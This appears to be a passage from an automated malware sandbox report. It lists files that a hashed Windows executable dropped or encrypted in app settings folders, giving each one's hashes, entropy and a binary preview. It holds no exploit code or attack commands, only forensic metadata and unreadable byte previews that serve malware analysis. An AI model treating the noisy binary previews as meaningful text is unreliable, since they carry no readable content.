Preview:	regf...Q..A.C).....fXT...2HZ.I'.."]#.q..#.~.....;.-rq./.v.^.7..1Y.\>.9h..w.}..:.,.n..x.%.fGr>....&3(.{JY.!..5.#..Jl..yQ..?......$.J.t.=(:AOUun.a...q.S&..T.JE.9..[dG..k/._.....o7]....@.e.u..6....8...v>......o....H..(/......(.\|.T%....?.<U.~.......F..F.8AoLa".D..6..=....Cn....7y"..M.+...Fs.5,N..{%...5..1.c...3..6.g......fF.R....!I.v.Bu.S).....CS.4.-.Mh.v..Ga...T.x........a.@......[G.p...U.e.......l..i....W . .......o<..,..].U.HC.P......s..\5.\|.j.(Z.3..2.M..Ex..\|.4...w.I.g.......v...Jn....../.y.T.t.Ku...h............./.y...J.z.aTi[.geo..z..Eyz.....}6.....{zL....A..E....a..K..;k4k\|..B.m....8... ....C.o..OYqy.#..Vc..@.O..a=(.....lc.'.m.+...}E.h..$..r.`.#. .}.....h...!S......3..?!..OC....0.h.o.<.h.......&...D.z.P.HX.6iV..U....vv.3.Nu....1.....)@;..~&...Y.A...5..7t....29z.....(}..G...S.B..d..L.O%U...y.w..V.&...c.L..ZUU.....q.&...ws..._.c.~K...z.W...XM..IR....!.....a..AH.r..Q..gb>..F.n`..T....C:1...O........:..w.`...$th....Z..*.{.we.T...

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9769284776270295
Encrypted:	false
SSDEEP:	192:18eJ4d9NV42miH03o8Cw3j3uz7t1s7Wnwml0RCaUKMlBnYp:1FJ4TNV42XH0Y8CUjuz7t1Bwq01GM
MD5:	23067F626F6DE78E49874A83404B134D
SHA1:	C9F6B1CB137D023F178D2F807D6C0D45B3F57D9F
SHA-256:	85AEB77ED49A7F76F87D384972FFE1D463F1B0574A26221412C904FDE075EA87
SHA-512:	57A5D02359ED220642BE54A537295F63B41C93F3B13FB02A6F0EB975340C0224E992952F75CB4B94AD2FBC853F155EACA4B1BACC2481665A84110C773A80BB01
Malicious:	false
Preview:	regf...k.Z.U..i.(....}.8....gz.X..f..h.t.e...l.V.../v.&.....yE...k....A.u.y...f....LJ#X..eq.W.`.Y.>....?Aq..E..s..D.....\...-./=>..O.W..r....6.T,..G.+.Z:.kl..%..KB#...I.....R..f....!q...fp.`NVT...K.f...E7T1..;.O..o....,...F.S..X..f.2..s.J.....s..d.&.'.,RM.$Z..(..g.B..{..P....1.`..MX.uv<...e.Q.A..7....HAxet.....e..].&.....tb../Z.w..L4.x...1jT...C...\.r.g..).r.l<X.y...5.;e..X&..!...f.oU%v.`..dy`.+...K.......T.."..?...N..&.30..93_...iJ.;#..X......R.p.$..!....&.RO....m.<,Zp8..(..9..~..U.mi.L..Z...6!.6..2..l?c....j$>L.f..,.jC...}YWv.e.>....8...M.~..H!..`...C...f...[\|.m..M.W?... f3.E...Z....u.<.:h....K\.{.D.Ujn;..=...y......\$U...I.3..\...T...U....#...T...u...3.Nj.....TM!...(.6G....l..OQ....0....0.....Q..[..%......_..7.^n.:.C.C......=..4A..7....uT...'.o....x.{...........a.6&L..t..FLxvj..b..B.k&....)J.x....0}...... .2.../.-...+....E.....J..3...K...X..b.....#..!13(_<.n......5.R.v..B...f...3Y`.72..F....]"1II2.D4.{0>.....Ea..h]..@.l......6C

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\LocalState\ThirdPartyNotice.html

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	107523
Entropy (8bit):	7.998298829626052
Encrypted:	true
SSDEEP:	3072:JYvXav0FERrCH8DXoAVnJ8v2IOQ0dQIblkAdjJAC:JYkuLH8DXoAVJSvmb7VAC
MD5:	20C9E775B03A97BD4C8C51D20DE20D77
SHA1:	6C2E7B844FA406225750FA0E85CECFE96029A6BA
SHA-256:	241219E226672059AA0DD500A2D0D6BA0D4D65BB4D978C9C9A3FB9B4D913B8CE
SHA-512:	A9A2FE144BE3AD35BB8767F786A6EBD3F5CAEB3D6D8D8205C152D6B62A7C636F80C17B747574E675F139161DFD1102251D3914A8A4C1DA2E413D38FC8E62F819
Malicious:	true
Preview:	<!doc...z.. ...T%G..H.T.....\b...Q.!\.pz...z.cp..@?.6....3.a....j.y.k....'.....c.#0.Jm..4.jAt3 .....f.v.i..4..".J..%.F>.\T.(....j.Me.o....PI.a..6...S....+.6....%?.+..Q....QQ..I..D.I.....o-.M.!.P0b..[S%...j.;.`.9_..hE6.Z...<.qUPy..v.V...~..f.#n..xA....\|.d9.#..tA...()X.K9J.@.z.4.l......3f...G....W.A....h..h.u....'~.b3TV.^.=P.q<i=.....:Xb..v.%.....Nt.a..HN.'.....1.+..U[...<..M.&....,v.u.....%...............u....si.... _.R..1O..bY.z..p...3.Te}.JR..^LM..$.\|pj.rP.Y...\..f..uq../.....y..s..d..V.s...'......W.+....{...@...F.......^jO.F........D..!.....8.. k..8..yr.cK.\|..3.Z..:.fa..6d^...9..I......e.e0.....5.....:...X.\|,Yo.L...X.~#..j.y.:.@....va....../.K.k.Cx.:.t!........L..#.=`.......!.;.....#.f..}...zzyH.".T.6G/.v...0..6...d..>Y....l2.M....&u.]t..(..4.s)c....$3.;I+....,....'..B'.y....rr$.D...I.q..b....)$o..@.w.7p0.V..K.%q..S.ZBq.NC.....o..G.vnw1.'.t*....4M....~.\..<@6.P...;%A;...^...j.l....v.+}.:..~...k..E..{.-j..D..Q(.."`..

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979344868883936
Encrypted:	false
SSDEEP:	192:j7NVQOZ9xKeGCL76hFCtuRelBQO8Hhdbz4n0TyiMq:jgObChwtyoGOYA6Kq
MD5:	0B1B43CACE1F2536C61169C9C6760731
SHA1:	8C4DD4B40565D142A28F3DEB305A7B0A7597BB2E
SHA-256:	7D5876E9DD62B7FFBBE28F8BE04E194D59DFDB0C6B351EB65FEB525B21F25931
SHA-512:	78347DFFA334A1C96E6866A043B39C2A2F8F1A93E777F41E59495E69CD43B57E1DF2A1D444C3162F5E3F00AA2B3ACB6E831E679EAF63AB7CFE328372CBADB83A
Malicious:	false
Preview:	regf...o...7).M........7..@..N..j.Uf....M.........P+.aT[..#...3`g..P....Qe..Q.... .5...[4L.)3^.B..=.+.;..V.....,p.A...q.....Yo..X......J..c.5D~.?]...........:.. U4u..(.!J[......._..X~o.0h.........Sil0.4.x...(.$>.c..>...3..v%...L...\Hh..C.&...S?&..A..!.R.'..Ll....H &../....s...zWt........\|.....9....s4.(z..Dh.n...?#.m6<..I,:.Q.=o..O.t"...D..vd>P.Lmj.P.c...W.-.x)%......W.k...xk..{x .......@.O...M....Y...=._....!R6..M.\|..:..~o.?r.M..C.\.>_7..... ..+.f.^..$......^.I....9..Q4.[.........]....h.6..yl..l.!.`.....8...sH.l.t..2.+G..'Y.<d........MVf.~...rG..&.+-....p.?.3.... ..O...m.L.A..Nt=......5~r +}.......(.....4'...c.....~0M?K.i..V..9Ll4.O.2........E.alh...M. ..0....v.3.9na..'..GV...A..5.8..8....a__.W...w..'\|......4..~Ey.;......~....5.B.....+hR....SX..g8.3....;.gb...y,.e+..d..O...0..`1...P..\|.`h.........=.9. e.%..O..xw.R...]....un.})Y..x.a*e.%....bi....M...........;;.D..8....~I..E.....A...(.ls.l.!....i^K..L....~...-e.:w.A)...D...=..#..M.P..3Q(....<.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977009721892205
Encrypted:	false
SSDEEP:	192:aY5kl+38NRyHdRltLSpE+7smgmlKh1XWovMtAspxPo2WvvpFzSmNWvwF:aY5kl+MfyHd9LSu+7ymbgwlgTvzJv
MD5:	37C419ABC20C3CF0B74EA0B29D126DF8
SHA1:	5FB40AD1CE60F492ED3E1FB9738073BDC5D8A651
SHA-256:	089632FE64F937973E96C5A551C99922F235C609A066AE6FD44C5589D468CAC6
SHA-512:	BA2776A1ABD680037B13A5C6EF46FEF0835C3F9B58D5F2FA9106C551741553DA07798A1D576F6D0D3AF98CABC8ACD209D602EED8A63606B003E62C2F03F9C8D2
Malicious:	false
Preview:	regf...............x.#]..9.;.P.....Ppl...A.Q...5_c......W...<$............ZRo...E..........~o.X<.-L......".{.......g......#!.S,.....Ukf^.7....6..^.4.rF...........%....e.q.%.a.rhWF...5N...\.+...].Np.....@q.C2.a....s./.E...yn.x.L.n...R.+..P...o'.i.d+tp......F.o...n.;.f..wftd....D. d.qw._%\|....;^p.x[..y...";.HC.@l=/-.....G..oB."...4<(l.@[c..:.HZzk...;<.2_.5?.....@...8.~...$c...[MZ.hB\..:\|P......B....2.F.n......D...Z.F..t:...E........<..Q..,.2'.. .D.W....c2......B......1.m..wF;k..?f.p..{U...I.gc/.[9...<pf.5j.c:..../P.7_."g.........f.6..Z..W>oN......zpH..b.D.....5..%.(D^........R.L..XI...BY.>...?Q.\=...ibb...A..1$._..9...=a.QPJX[..v..f..........Wn.rl.....h......C....s....]..jH.H..h..S.....M+....1`..r40pZ.......'..k}./....2....\|../..Y..M...u..y.W.c../m.B.37....v...01Y.F.....3...G...........V..6...+.?.~...+.q...Ef....Z.../.V;.!.......AY,....n.......i.l...Q.s.>...}...g.....0.e..\|.'1/.8.!.e5um...F.....sDj...k.....O\.IB*("kA.%1..t/....,

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980348938066576
Encrypted:	false
SSDEEP:	192:0SWaScPzzy3+Fsp+mSY4dd5pvWi/nHMWmRF:ACGbp+mSv5vfvA
MD5:	8F7F3D6381CC1E8A55B7D519859F64F3
SHA1:	1DFA1AEA969FB9A08964CB796EDFC36C4FBAAF93
SHA-256:	5C2AA41A6010C981A02AD2180988E27C7EE5CB129631B8A19788F7D6EEBBF959
SHA-512:	AE328575C417C5E0B7B2B9092D13AEAB32F9982D49954468EEAFA72DAEFD5EB9CBF98012B2AD9E58B6A86AC1BC46D5A4B86E559E23230773D84F9CFFAB93DFD8
Malicious:	false
Preview:	regf.T........R...[..u.........;....-.N.6"8.Pv..!X&..1...Kz.de...GS.]r'...c.]7x.T$....vg..)....{.M...=.45...u<..6...^p...$..83.z ..P.'..<..\|.4.!........j.kY.. k.k.F,._..;.}..E.L..%.e<..I%..dr..j..y..].k..X..?......$lu.._...f......rm.V...T....E3Z...0L5...lQ....."..^...1.].VD. P.-..wmd.8..M.....k+..[...!..m.........#....n.].H.....q8.:..j;......U.....!.=.Qx.hu..$(..k.A.^T......-..)'o./.=...^Z..hD.k.jf._#..... Bj..T.K.....D...m:.XDP{4f..{...,.y.......L..VZ.\|t..'Y..s......'......E...1.6...yz..2..>#1U......).OJ=i.~~@/.d,.7..r... }.....&.......Vf(.u7.%..L...Mf!%8..N.....9.(o...;.q./.B...".\.^...[.H\|........eg..y.............hk..r..'...\|S.;.LPH...Yi%j.n..vU.$.+.?/..nu#...2....\|.`.9S..j.^BO..i.K.....&.."B.7.$..7....Sf....t..~.....h.......yt..&.@S.F..>.]........>.}4....T..z.......~....6G~....#..!4.Sa=4..I..@.U.....de.DP._....&.q.K.........gz...6.D.r0jM.=2.MwKy!A.zn.kq>.x3.O.`......g.d.....7.x(.....pq.XR.$...n@.....ED>..g....U.HbWA.8....0/....

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976427033873384
Encrypted:	false
SSDEEP:	192:q7eN8XNGE4X8ZCjMRCwdJ0ZXCQZvP3++e9wGGdLmiJ:4eNzMZVRTQxP3XkLoLJ
MD5:	3EF8056AE847BF806A74E064374A601B
SHA1:	764C0311936AF10CAAD274C5C4920CE0934E3E1B
SHA-256:	6A7A6A065C4E5CA02A5B94A05FD21DD0C6F4C80BFA5673BC99BD1FEFDE54D2BD
SHA-512:	A11AE7ECC4EDA31B00DB5064A323CF9F39741B2160749F7603EB866A4C1B0422606560BE088CA641DA8A7EA3A091066340E80393EC90364B57979E7614606773
Malicious:	false
Preview:	regf...E.W ..Hu..Q.4..... .G... .Bu..g.....K..+6.uRMXQbr..A!.I#W.o.......@.`h7.E.W....E.....&=.49..6...y......Sx..AE.3......!Q..t....!.-.\|...lq.... ..N....B.........2..........?+}...6..Z. ]....,....'.....?om.i.n.c...?..u....@.Y.{.K.^.%.......s.......#%...V.9........c.....$pi...h`.....,.....E.%?k.\.~..+.C...J".....$..F..dH4.:R..^..D.iV.J7pB.....B.8\..^+;.f..e..C...E.8.0....?.:m..[...S..o...x$.../h.$q...AM....A....R.i@p...a.)..J...oi)-[w^$<.6.;...nk...^\{..T%.U..W...a.,..G.x".!.\./&...^r..]..u..N...E4mlo.-..#.U0...F,H4.~.m..8.a.Z.lvM.qT..K.1M...j......\...>.).'...P.=....c.........2.H<m.z.W.Dl.b..@.%0..6.t^..#..?Pp.....p...u.3...c..r.a.k`..$C...../....q.....[.{..=&...C.\|.[..6..[..[Xg.H....Y..H..<.Y..!1]+..F.k3./..Y...b.772..\.....E..A.....\|.V...^-.......t.@.".vr.'.4...h.J.1?....9.J...\|..O-..)..........;....).....R.8F.....*.5.XV.ajB...k........;>.....F.S.q7...&.w.x.....R.FP..R.o[....H.....vF8A.7S.AI...?.....P..jw....n.c7U..b.../"....

C:\Users\user\AppData\Local\Packages\Microsoft.MixedReality.Portal_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979230210559987
Encrypted:	false
SSDEEP:	96:/m3eqtjqzO6I02WcHAritEQYBEMs1lzjGvypp+UF/hVHBvyIb61sgYGfGjEscuii:/m39xuyCjZNSGKRZhfsXfGjEaiVHYuLG
MD5:	CDE311B68500501B15AC9949DEF14B56
SHA1:	29018B80B995DD42AB4E26353322E01770EB130F
SHA-256:	D4BB680484A6D908DA7B06AB2F36869D81637CA5591F876FF04223CFA3810C95
SHA-512:	D39C223F33CC7B594BDD6ECA0357330DA1A20E509FDD99EB1335186B5E86EEAD803B813DC94A871292EDBC8B76083282EE81ECCAA42E127033BC17310CA76E97
Malicious:	false
Preview:	regf..=g..+..[..O.4x.......dL/.Y/...3X.7..#9.r.pv..\|..Q...b....>^.`E..?...f9....s.>..%..TA..6.E.r4m..~....G..`.i%..d......g.c.H.O.r2~.&^."..K....}<...VBH:..?z0.mH....O..?..Q...]Q! ./.@..$=.+......~9.`3s.........ju.>.LyP.../h..........sfP..j.6.".....!z?.K....}-.....o..6.._.:.]....>.?ZE0l.sm...._.X!....u>d...Wp....\..un..P.5.s...N.b..r.....R.$.:y....2...pI5&%........3..\|......R..Q(...V.i,.V.t...,6..2.....1. ....C^..........<..........3.x..j.......!..~.?:..).6....(d.X?.}>.Z.q...:z;i.fP<.........+....).Dc..A.K.3.].8...c-...w.5H.?.M.7.Y.2.K.w/K.`.....(..\f.......A...K..?..<...U...~\|p........\|..e(......B......9...4....%^.a~.7L(Z.Y...Z...t^.....uCc....X...z...>\....x.....7.h.........80T...........W....[.1.tDdZG...Wi=..e.;.[.....5.^}.r.K@....'.!L.x.....T..#...u..'.q.c@h..P..P. .........m..w...u...j^.4!.BI...c...q!..><v../DW...{fatp#Z.'..*..}.......aX...i.;Wy..o...~^'W.3H9..zN.\.t4.}..n...ZL."2.!2?./.$..T.Y.. m..8]..7.f`_Ve6.B^.`x../p....

C:\Users\user\AppData\Local\Packages\Microsoft.Office.OneNote_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978629528236608
Encrypted:	false
SSDEEP:	192:QlrHK9GDOPSpeDR+hQcWE99bqiXl9OkuTilNLI4qas3oQF0FJvh2H:ErAw2j49bq3kGiLTa37F5
MD5:	6F91CA0D73FCED819F962B510D1DEC10
SHA1:	E458852F0935B97C333D181E6A03BFF3B594AE4C
SHA-256:	CA503EF6BC281839BEF79C4DB6D06320C8ADA530E59FDB93798517ECEA490745
SHA-512:	C6C2E2635CEF4E5ADE533DF1185AC4CC0E9B217BE8ABD64A16D7A7A10223175793DDC9928B3FB6DFA76BA67D1B3B24BBBF74D392F645C2E94B0ECA66346D8DE5
Malicious:	false
Preview:	regf......\|R..C...,_&za..c.5..Ud?..4y...w../.. ....&...[....Z.$......{.....H.6!bS..........S..(....l..Zb.i=.^T..?%i....Qr#\|8.p..y$.'s.......H..t.......2.....R..MY.e80...s.n..O..Lt.8.j.y.N...M....O`..0......,$.......v...w.\b...M\B....]...&..g...Hn.dwfQ.T...n..<..I..g...)>......GS.8..K.g....`.... .P..}..[.9.....q..{.^.7.,..........v..0L.$.7..Pw.5.2......w..F-XKUl8......./m.-g.].Z\|...T7i.L..........j...._....S..V5O...z....Z.fr.\...f.4...........V.{...h@O;.:q\|b.L..YZ....I.I_.!...o)..v..y../..r./.[..(.....].S&^....."4.QDN..'U..-..+J#"..c....(oq.S....<TR...3`......c.(.f.%....a>5~.LW....@,F....8.1..=;.;I....`.+t.>.{.o..Sb%.p ...........}.3'u...2o...{7..5.zAF.C..+..e..7^G...h.S....L....[7...Rp..]F..Ft&(.!......8N<...D....*I..k.(...z~H......J. .K.&J:....p.1%..T......L....).!.U&....P8.S..b(...^.q..%..8.3..i..F......3&...8./...vG.k.\.6.4..B.WdnR33.=.i....qe...2\....'..K}."K~/...XU.....Jv....{...........a3Ir#e_....C...?......rg9..\|G ..9.u.g...N.W.-

C:\Users\user\AppData\Local\Packages\Microsoft.People_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977613161176219
Encrypted:	false
SSDEEP:	192:Rw3WMtKjzIzYrmB4w4pzQ110Uzq1gMz0iqThHH:RwGTj8zYa+p011qgMztS5
MD5:	0DD719761E39DE6155D2BBC9D84C8129
SHA1:	F10887C4D1D7B261F1783160FFD90E69EAAA595D
SHA-256:	DEECD43C9BD721ABDE7398E54AFDB2C59C57A5FB361E2CA848C06CECC621493E
SHA-512:	92312EC359CC8403042DCC1593ECDF0F89734B4E4C40A8777CC9EF950FD4EF9863DD1D985E1F6F946DC85F98144E369B710FA4238847B6575DF0BC50874DA22C
Malicious:	false
Preview:	regf.!..K..m.f:.. .g.a..L..SC....x'6B.......D;.bM.3H.B~]....q.D..:M;.8..Wj..&6@.we."..G8....]F..B......i......b.c...#;=Q..P_t%...EK.e>.l.n.x.l.nNMo.........K..?TU..vN.:.+w...k..... .-.(."...Iz..T\'.nI..../.Zbwz.f..........h.F.6.i\QH...K...C.1A..L=xH.l.....N...F..\|.mE._.I.kDM.h.g.x.eLA..lY....%...23.#.Q...Arf...+.G.7......w.yNs]Vi.m....F,.b,...4-3W..J..e.......2zl.f.L\|..].A... ..P{G]..^E.Iiz..0.>..dM~j..A..p1b.o6.;.N..O.......vn3x.`...H....+%.r..m...n...B.. d....4.\|.n>...-......W........w..hR.).Fj...P.m.i.t.......Q...p.6.R..D.e...C.lA.n..V&JK.(....S6...2...>z[..7s.....gN...:....{~d}-&8>ib4g.<.......,K....M.m..2...T.r.k.R....r.......Nq$....[..................:J..5sj..la..)=..-.F.w..>4.-b...v/W._...+E.e....4....a.l.e6...>"/.8...\|..3)...e.Ry../VO!..9.B..}.[yBq....J.k.=Y\...E....^I.".+`. +..m......v8.i.....n+.f...^....Q.B...;...ps8i.R&g.'...ip..*...~.N..k..x....@....,..-..).\|.r.k`o.sX$.`.....X.".{`..U...E....._J...M...{..........:.qY...

C:\Users\user\AppData\Local\Packages\Microsoft.ScreenSketch_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9778458674152555
Encrypted:	false
SSDEEP:	192:eyBeXZEsS8tA/t60Z/YvZUUgRxH99IsZaib790/KoqpdLXCA:1BeeKOAxgRlZaQ79doAv
MD5:	E355C0DFDA5C9022F1D862ECF7414086
SHA1:	A94D305FE97EB9B6A19C3355FD9E5FBFBC8A6787
SHA-256:	F7E3638964C607A2EB55BB17BC8DA55CF91B85C820EFA1C7A33B5823574AC10F
SHA-512:	FC08EDE07741A38033A67F4F0EBE8EC9B5287A625BA2D22FEA4BACA5021458DB63F7CC89227279183963370F2447A86FE57FA02FFABCED9F169409FD5C735D83
Malicious:	false
Preview:	regf.P.~VA...^...m(U..7.a.9....:..c.(...3.7.Yc.....G......E......d+.........................C..[.8[.......7..t..%rm. +..91..;.W<H..m..?......F.'H...{Or.Tg......A.......9.....;w.e..s....K.,....{.. ,...o%..:.......^....~pO..#.-...9\..nL..o......N2.'.R..X'.l.l.N.5....\|...S.VX.<....@.P?1G..k....R....;.d.pw..B..i..-s....^..]{.........H.{%p:....i.n^L......j.<./...1....S....V.....&...G.~ Q~.8p.._.\|..\..=....xQ...!....R...Fl..Z....2.....u9.'.+c.k.X.....J..)..n.b..{...z.5.0n\..1...l.Xd......f1.:.s}?~..Vj'C...[.$?.b..Rp..-[..<c...T5c.#;...Q+N&O.q.Td............w,.D....z..L1....}.i.Ti..g<.B...C............d..Et.@.......5."...\|Ie.\|e..dh..bI........oa.fX.c....}..%....~kxu.6Ouc+{....o&}.0C1X...mv2OBl......h...X..Y.../.r..p.t+...!`...l.l..d..=x.2^...}.. ].......I... .P...x@%}'r.gJe.%.`.\|Q...4...v.MQ.7/Ec;3.'...Peo3..1.w..9.h.;.\|P6......Fw#..).2;......Z...q~...\\|(...........2.....).....$nE....@+..l.&=^x.];J.O.A)..O..&.......L....3.<..]...u..A...t..

C:\Users\user\AppData\Local\Packages\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980212948988115
Encrypted:	false
SSDEEP:	192:b2kfIEGBmaol7zQjsyD36dQFdlpNAIRuXnAUlvsRRmyC1i:bjwtBE8jsu3hlYIRuwUlv+IR8
MD5:	C8E4EA8588947FA3FE8091D635599AFF
SHA1:	347DEA842F4DD442D98D90ADF0193A251D2E540D
SHA-256:	0623CE19220C2C449C7607BBE6B4A69C07D22CA5DCD454CE06D32818B24D4525
SHA-512:	3D1523CE3A1EEE04D1CFC8C17429C6CF341E44265EBBC062377802E7B1B9F9E348032AF22AEC5D71DA911ADEA43447A49F80CAC601DAC714829C8832BD6BB0F7
Malicious:	false
Preview:	regf..%.iy..b...dw...1S..8.+lw...J.PY...S.Yk....e.>6.E....\.`s?].....U..-w.......9..FD..>...t.?..po./........L.>.u\|y..a..n.^......D.Ya..GKW.......E.9v..& ?.O.....>8.It..it.AXw..@9...Q.O.G[..Yl#W]P...6....qN...1..4....-......Jw.....Z..C...;cp.KC..L....BBh.L..0.c,F..a......s.X3$.....5....!..D..B.L.d=..u.r.......^gZ.c...o.@B........8[.<.`/W].hMA.....++...>...&......./.'.&70.5....y@.ao....8...oJ.)..0.z.O5=...~l.t.OY...U..........27~.l..?4.V...x%..2I...;1U4S.....s.(F.9%.....z@..~5.LG.si..2B..;\|...W...e.LT]y...v.G?..U.JUG.[.$+../..UdA..........5......J_.dY+R.;W.r..T..vd..f..wq3.t..0.,.l!.RG.t:.,.j\|....J.R.....:l......`HL..c..`3.".......\&95m......}....r.sn...OI.h...N.T~rrM......n.K2.e.....k...{S....... .[.....:.6!.z......-Y..Tkv.......(.....hg..lc.a....N..jt......._Ig..\|\kP.....LV.=.....%.C.S'.m.e.N.^..%@>..IS....d\Mg.....#J.8. .m..j+c.jR..,.\.P..{.5......KQ...Kpi....?.y..Rg.8..-......@..S{..(-.W8.m........SK......,....}...:v..9.06...

C:\Users\user\AppData\Local\Packages\Microsoft.VP9VideoExtensions_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97583867163331
Encrypted:	false
SSDEEP:	192:fVUQeqBd95gGhEirys0DuY7NI6FOZNhwoiMGJ6iDhv2sp60FGkrz0noly2jrK:fZe6gQ/ryjuYbFPhJ6iDc2gjoNrK
MD5:	5374B42152A24686458A045D5A658835
SHA1:	0A2DAE5E5049D3CF773736657F6D9409A8AB7183
SHA-256:	2662A79A707E0258806DF1C0A5A5262AB726E3B80EFE722CBC4C4A00F1CF774C
SHA-512:	B6A4F78E931750953D4159DB526082351DAD5976A94F7E3A6D0CE180F011B730C387FAC722E3DCA581934DBD390FEBA543157D2070A333F1C007D8CA6EF7CC3A
Malicious:	false
Preview:	regf....y...B.KH..`i.d.xr..AK6..<.....=.0.V......(.sCm.^...S..'...Sf".......fo.8x.f\|.9..(..rc...oX.g.?.\|.....8.(..AYA..7x......tk#..M.R!6EY...2!.$1.Lr...@....lS..U.zC.1....=.R...)V.......,..=3.....:.+.&1.....\|....(.x.].,...b........^..0!$.n.E......u..@...%B?~........W.W.jT.[.sT...........c.^........7..l:...G'P...m..'.....H[.,}+O.>/\`..MQ=.-.5.A?...G.8...^..-YmG)...E1w.h..5j}Xh.K.\|.....<.)}....;ErE...../..$.C.?...C....._\|...VP}..o..F...DYY5.2.....+..-&.... p#.D.(h....-.g.V&.p..O;Pu..[....x>..W.....-.6..k@...J6.g......^x..%l..7.l#........%........[...!..L.2,..o....dU.7.$,~...H.ee.O'.G....S...z+TDN.....U...;....B.........&.....#-....i...yuy....BX..u..CL...(.!.B.r]r...x..pjoX......5..M.....;...Q......S.O...>Oj..@7.2..(......w...J....yj.#...].w.........2.~<....!.)":1;o.'.i...!.....\.g.;..t.d.{.........u..l\i.<.Lf....29_......l.DL.....Q..:.t....q......O.}..q.\..0...,5g1{...dR.X...{...3]..c.....=..Z...r;..F6.=.h..^....Wu.d%.p...l7F.7..-...<.

C:\Users\user\AppData\Local\Packages\Microsoft.Wallet_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978626445611812
Encrypted:	false
SSDEEP:	192:Vb+lOK2KgSUo+Jx2/i8ihFXObw5a+nZI01b7tIyRRLres:YB3gTo+y/iTBZI0RhIyr
MD5:	481755E227C3BA4C604FB4DBAD9ED40E
SHA1:	57E77DD7D810EE7AA864D29884F9DE4A3956AC15
SHA-256:	FD05E07B743A4EDBF9028BEE96A0E6101904F53DC4630D4C5D692C86A66E1297
SHA-512:	2774529E1E8E3295112F006F71D43971D677751D06C3EE5205C2D59C1AC183F1B2C9C985E8FF1F367A111BCC4AC99300E3639B8C405BAD62E5B9C7ACB6723F48
Malicious:	false
